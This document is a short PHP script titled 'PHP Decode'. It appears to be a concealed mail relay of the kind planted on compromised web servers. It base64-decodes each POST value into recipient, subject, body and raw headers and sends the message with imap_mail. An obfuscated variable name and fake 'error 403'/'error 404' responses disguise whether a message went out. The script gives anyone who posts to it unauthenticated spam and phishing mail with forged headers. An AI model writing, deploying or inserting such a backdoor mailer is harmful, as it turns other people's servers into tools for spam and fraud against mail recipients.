PHP Decode

<?php

function _base64_decode($input) {
	$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
	$chr1 = $chr2 = $chr3 = "";
	$enc1 = $enc2 = $enc3 = $enc4 = "";
	$i = 0;
	$output = "";

 	// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
	$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);

	do {
		$enc1 = strpos($keyStr, substr($input, $i++, 1));
		$enc2 = strpos($keyStr, substr($input, $i++, 1));
		$enc3 = strpos($keyStr, substr($input, $i++, 1));
		$enc4 = strpos($keyStr, substr($input, $i++, 1));

		$chr1 = ($enc1 << 2) | ($enc2 >> 4);
		$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
		$chr3 = (($enc3 & 3) << 6) | $enc4;

		$output = $output . chr((int) $chr1);

		if ($enc3 != 64) {
			$output = $output . chr((int) $chr2);
		}
		if ($enc4 != 64) {
			$output = $output . chr((int) $chr3);
		}

		$chr1 = $chr2 = $chr3 = "";
		$enc1 = $enc2 = $enc3 = $enc4 = "";

	} while ($i < strlen($input));

	return urldecode($output);
}



foreach($_POST as $key => $x_value) {

$data = _base64_decode($x_value) ;
$to_data = explode('|',  $data);

$to = $to_data[0];
$x_subject = $to_data[1];
$x_body = $to_data[2];
$from_user = $to_data[3];
$from_email = $to_data[4];
$header = $to_data[5];



$jfnbrsjfq =  imap_mail($to, $x_subject, $x_body, $header);
if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} 

exit;
}
echo '###ERROR 404';